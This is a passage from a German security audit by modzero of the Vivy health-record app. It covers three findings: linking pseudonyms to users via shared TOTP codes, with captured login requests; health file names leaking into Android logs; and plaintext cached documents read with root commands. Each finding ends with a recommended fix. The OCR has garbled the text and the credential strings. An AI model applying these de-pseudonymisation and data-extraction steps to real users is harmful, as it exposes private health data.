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gespeichert und kénnen nur durch Ihr Endgerdt verwaltet und miteinander verkniipft werden.
[...] So ist sichergestellt, dass wir keinen Einblick in Ihre Gesundheitsdaten nehmen kénnen.

Quelle: https://www.vivy.com/datenschutz/, zuletzt abgerufen am 02.10.2018

Laut Datenschutzerkldrung kann Vivy keinen Einblick in die Gesundheitsdaten des Nutzers
nehmen, da nur das Endgerat des Nutzers Pseudonym und vollstandiges Nutzerprofil verkniipfen
kann.

Im Test wurde innerhalb von Sekunden nach Login eines Nutzers auch das zugehorige
pseudonymisierte Profil eingeloggt.

Sowohl der Nutzer als auch sein pseudonymisiertes Profil senden beim Login und in regelmafiigem
Intervall einen fiir Nutzer und Pseudonym identischen sechsstelligen, zeitlich begrenzt giiltigen
TOTP-Code. Dieser Code ist neben Passwort und E-Mail ein weiteres Merkmal zur serverseitigen
Authentifizierung des Nutzers.

Unter Kenntnis des zu einem bestimmten Zeitpunkt gesendeten TOTP-Codes kann ein Pseudonym
mit hoher Wahrscheinlichkeit eindeutig einem Nutzer zugeordnet werden.

Unter Betrachtung mehrerer solcher Zeitpunkte ist eine fehlerhafte Zuordnung von Pseudonym zu
Nutzer nahezu ausgeschlossen.

Gleiches gilt bei Einbeziehung zusatzlicher geteilter Merkmale wie Gerdtename, Hersteller, App-
Version, Sprache oder IP-Adresse.

Beispiel: Anmeldung des Nutzers:

POST /oauth/token?grant_type=password HTTP/1.1
Accept-Language: en-US

x-uvita-client: android

Authorization: Basic YW5kcm9pZDpuZW10aGVyYW5kcm9pZHdpbGxiZXRoZXJI1YW55bWOyZQ==
x-uvita-version: 1.16

x-uvita-device: Bee E7S

Content-Type: application/x-www-form-urlencoded
Content-Length: 61

Host: auth.vivy.com

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.11.0

username=test123%40example.com&password=modonel23&code=784639

Darauffolgende Anmeldung des pseudonymisierten Profils:

POST /oauth/token?grant_type=password HTTP/1.1
Accept-Language: en-US

x-uvita-client: android

Authorization: Basic YW5kcm9pZDpuZW10aGVyYW5kcm9pZHdpbGxiZXRoZXJI1YW55bWOyZQ==
x-uvita-version: 1.16

x-uvita-device: Bee E7S

Content-Type: application/x-www-form-urlencoded
Content-Length: 320

Host: auth.vivy.com

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.11.0

username=e5199951-57c3-449e-b2a4-
8da2e9fbd37e&password=6abd740515e5c68dd4b27190ce28dca8al58856118c22770bfdeelf54598e5f61f25a48af8b3502c65
f5a291de6c352baebb616d0e@cl173ec79365bf6a2afl6a2fObda5355e7665ada7efb8cd8926456d296c6641c74851648b9e32800
513cl1lafc651a2b2ed3c518a2ac5146d75b882beead96b6d319fOball94c30dad7&code=784639

Dies widerspricht der zugesicherten Eigenschaft, dass weder Vivy noch Vivy-Mitarbeiter auf
derartige Daten zugreifen kénnen.

4.4.3.1 Empfehlung

Bei Kommunikation pseudonymisierter Daten an die Vivy-Plattform sollten weder
Authentifizierungsmerkmale des Nutzers wie TOTP-Codes noch weitere, einer bestimmten
Installation oder Gerateklasse eigene Daten wie Gerdtename, Hersteller, App-Version, Sprache
usw. libertragen werden, um bereits clientseitig einer moglichen Zusammenfiihrung von Nutzer
und Pseudonym entgegenzuwirken.
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4.4.4 Preisgabe vertraulicher Daten aus Gesundheitsakte im System-Log

Typ/Klasse Information-Disclosure
Aufwand Mittel/Hoch

Auswirkung Mittel/Hoch

Ort Smartphone-App fiir Android

Mittels adb logcat wurden im System-Log von Android protokollierte Fehlermeldungen der App
mitgelesen:

09-24 06:59:20.988 6075 6084 I art : Background sticky concurrent mark sweep GC freed 140364 (9MB)
AllocSpace objects, 2(1500KB) LOS objects, 10% free, 66MB/74MB, paused 4.250ms total 166.269ms

09-24 06:59:21.122 6075 7448 W System.err: io.reactivex.exceptions.UndeliverableException:
java.io.FileNotFoundException:
/data/user/0/eu.uvita/cache/VivyFiles/Max_Mustermann_Lupus_Erythematodes.docx: open failed: ENOENT (No
such file or directory)

09-24 06:59:21.126 6075 7448 W System.err: at
io.reactivex.plugins.RxJavaPlugins.onError(RxJavaPlugins.java:367)

09-24 06:59:21.126 6075 7448 W System.err: at
io.reactivex.internal.operators.observable.ObservableFlatMap$MergeObserver.onError(ObservableFlatMap.jav
a:294)

09-24 06:59:21.126 6075 7448 W System.err: at
io.reactivex.internal.operators.observable.ObservableFlatMap$MergeObserver.onNext(ObservableFlatMap.java
1125)

09-24 06:59:21.128 6075 7448 W System.err: Caused by: java.io.FileNotFoundException:
/data/user/@/eu.uvita/cache/VivyFiles/Max_Mustermann_Lupus_Erythematodes.docx: open failed: ENOENT (No
such file or directory)

09-24 06:59:21.137 6075 7448 W System.err: at libcore.io.IoBridge.open(IoBridge.java:452)

09-24 06:59:21.137 6075 7448 W System.err: at
java.io.FileOutputStream.<init>(FileOutputStream.java:87)

09-24 06:59:21.137 6075 7448 W System.err: at
java.io.FileOutputStream.<init>(FileOutputStream.java:72)

09-24 06:59:21.137 6075 7448 W System.err: at
eu.uvita.http.util.FileUtil.convertDocxToHTML(FileUtil.java:303)

09-24 06:59:21.137 6075 7448 W System.err: at eu.uvita.http.util.FileUtil.saveFile(FileUtil.java:262)
09-24 06:59:21.137 6075 7448 W System.err: at
eu.uvita.data.file.RemoteEncryptedDocumentDownloader.lambda$fetchFile$2$RemoteEncryptedDocumentDownloade
r(RemoteEncryptedDocumentDownloader.java:32)

09-24 06:59:21.137 6075 7448 W System.err: at
eu.uvita.data.file.RemoteEncryptedDocumentDownloader$$Lambda$l.apply (Unknown Source)

09-24 06:59:21.137 6075 7448 W System.err: at
io.reactivex.internal.operators.observable.ObservableFlatMap$MergeObserver.onNext(ObservableFlatMap.java
:121)

09-24 06:59:21.137 6075 7448 W System.err: ... 22 more

09-24 06:59:21.137 6075 7448 W System.err: Caused by: android.system.ErrnoException: open failed:
ENOENT (No such file or directory)

09-24 06:59:21.138 6075 7448 W System.err: at libcore.io.Posix.open(Native Method)

09-24 06:59:21.138 6075 7448 W System.err: at libcore.io.BlockGuardOs.open(BlockGuardOs.java:186)
09-24 06:59:21.138 6075 7448 W System.err: at libcore.io.IoBridge.open(IoBridge.java:438)

09-24 06:59:21.138 6075 7448 W System.err: ... 29 more

Die App protokolliert im System-Log teilweise vertrauliche Gesundheitsdaten, hier den
aussagekraftigen Dateinamen eines Dokumentes aus der Gesundheitsakte des Nutzers.

Seit Android 4.1 kann das System-Log auf dem Smartphone selber nur mit Root-Rechten oder von
einem angeschlossenen Gerat aus per USB-Debugging ausgelesen werden.

4.4.4.1 Empfehlung
In der Release-Version der App sollten keine sensitiven Informationen geloggt werden.

4.4.5 Preisgabe vertraulicher Daten aus Gesundheitsakte im Cache

Typ/Klasse Information-Disclosure
Aufwand Gering

Auswirkung Mittel/Hoch

Ort Smartphone-App fiir Android

Die App speichert Gesundheitsdaten im Klartext in einem internen Cache. Bei Verlust eines Gerates
ohne Dateisystemverschliisselung konnen Dritte diese Daten einsehen.



4.4.5.1 Details
Die App zeigt eine Vorschau der hochgeladenen oder empfangenen Dokumente direkt in der App
an.

Office-Open-XML-Dokumente (.docx) werden dabei zundchst in HTML-Dokumente konvertiert
und anschlieflend in einem in die App eingebetteten Webbrowser (WebView) prasentiert. Die
dabei erzeugten HTML-Dokumente werden im Cache der App abgelegt:

root@bullhead:/data/data/eu.uvita/cache/VivyFiles # 1ls -al
-PW------- u@_age uo_a9%9 1102 2018-09-25 09:57 Max_Mustermann_Lupus_Erythematodes.docx

Dort kénnen die Daten beispielsweise von einem Angreifer mit lokalem Zugriff auf das Gerat
nach Erlangung von Root-Rechten ausgelesen werden:

root@bullhead:/data/data/eu.uvita/cache/VivyFiles # cat Max_Mustermann_Lupus_Erythematodes.docx
<html><head><style>p{margin-top:@pt;margin-bottom:1pt;}span.Normal{font-family: 'Liberation Serif';font-
size:12.0pt;color:#000000; }span.InternetLink{color:#000080;text-
decoration:underline;}span.VisitedInternetLink{color:#800000;text-
decoration:underline;}p.Heading{margin-top:12.0pt;margin-bottom:6.0pt; }span.Heading{font-

family: 'Liberation Sans';font-size:14.0pt;}p.TextBody{margin-top:0.0pt;margin-
bottom:7.0pt;}p.Caption{margin-top:6.0pt;margin-bottom:6.0pt; }span.Caption{font-size:12.0pt;font-
style:italic;}</style></head><body><div style="width:595.0pt;margin-bottom:56.0pt;margin-
top:56.0pt;margin-left:56.0pt;margin-right:56.0pt;"><p class="Normal"><span
class="Normal">Bla</span></p><p class="Normal<span class="Normal">Max Mustermann</span> </p><p
class="Normal"><span class="Normal">Lupus Erythematodes</span></p><p class="Normal"><span
class="Normal">Diagnosis</span><span class="Normal">uh</span></p><p class="Normal"/><p
class="Normal"><span class="Normal">Treatment</span></p><p class="Normal"/><p
class="Normal"/></div></body></html>

Durch die Speicherung von vertraulichen Daten aus der Gesundheitsakte im Klartext ist deren
Vertraulichkeit z.B. im Fall des Verlusts des Smartphones nicht gewahrleistet. Genau diese
Vertraulichkeit wird jedoch zugesichert:

Vivy-Gesundheitsdaten werden nicht auf dem Smartphone selbst gespeichert, sondern auf
deutschen Servern. Geht das Smartphone verloren oder wird es gestohlen, sind die Vivy-Daten
unzugdnglich, da sie sich nicht auf dem Telefon "befinden".

Quelle: https://help.vivy.com/hc/de/articles/360000183254, zuletzt abgerufen am 02.10.2018

4.4.5.2 Empfehlung
Google empfiehlt?, vertrauliche Daten nicht im Klartext auf dem Gerat zu speichern.

Die Vorschau von hochgeladenen oder empfangenen nicht-vertrauenswiirdigen Daten innerhalb
der App ist auch anderweitig risikobehaftet. Die Dateien werden zum Teil in nativem Code geparst.
Parser sind ein haufiges Angriffsziel fiir Code-Injection-Angriffe, wobei eingeschleuster Code hier
mit allen Rechten der App laufen wiirde.

5. Uber modzero

modzero ist ein 2011 in Zirich gegriindetes schweizer-deutsches IT-Sicherheits-Unternehmen.
modzero berdt Kunden vor und wiahrend der Entwicklung von sicherheitskritischen
Anwendungen und bietet tiefgehende technische Analysen, insbesondere im Bereich
kryptografischer Anwendungen.

9 https://developer.android.com/training/articles/security-tips, zuletzt abgerufen am
02.10.2018
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